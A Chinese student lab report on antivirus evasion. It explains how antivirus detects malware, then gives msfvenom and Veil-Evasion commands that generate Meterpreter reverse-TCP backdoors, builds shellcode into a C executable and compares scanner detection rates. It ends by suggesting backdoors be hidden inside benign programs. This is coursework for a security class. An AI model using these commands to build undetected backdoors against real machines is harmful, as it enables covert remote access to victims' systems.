20145228《网络对抗技术》免杀原理与实践
实验内容
•理解免杀技术原理
•正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
基础问题回答
(1)杀软是如何检测出恶意代码的?
1*恶意代码一般具有明显的特征码,依据特征码来判断是否是恶意代码
2*如果一个程序的行为是带有恶意的行为,也会被检测为恶意代码
(2)免杀是做什么?
免杀就是避免杀软的查杀与检测
(3)免杀的基本方法有哪些?
•改变特征码
•尽量避免杀软检测到带有恶意的行为,如使用反弹式连接
实验过程
实验过程中使用的是virscan来进行在线查毒,非常方便
msfvenom直接生成meterpreter可执行文件
·按照前一次实验的操作,用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.184.128 LPORT=5228 -f exe > 20145228.exe
来生成一个后门程序
·然后利用ncat指令传送到主机
·最后检测结果:
基本都可以发现这是个恶意代码
使用Veil-Evasion生成可执行文件
·Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装
·直接输入veil-evasion
打开
·然后依次键入以下指令:
use python/meterpreter/rev_tcp
//设置payload
set LHOST 192.168.88.144
//设置反弹连接IP
set LPORT 5228
//设置反弹端口5228,默认为4444
generate
//生成
145213
//程序名
以结果图可知,该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里。
检测结果:
这次基本没几个能检测出来了
使用C语言调用Shellcode
•使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.3 LPORT=5228 -f c
命令生成一个C语言shellcode数组
•然后将这段数组在VC上进行编写shellcode
•在Kali下使用msf监听,运行刚刚编译生成的可执行文件,成功获取权限。
最后再去检测
附上我的杀软版本:
实验体会
清楚地了解了杀毒软件查杀的原理,如何使得自己的恶意代码免杀、恶意代码的伪装。一款杀软的检测并不能代表最后的结果
离实战还缺些什么技术或步骤
最重要的是后门的伪装,较好的方法是隐藏到一些非恶意程序里再进入目标主机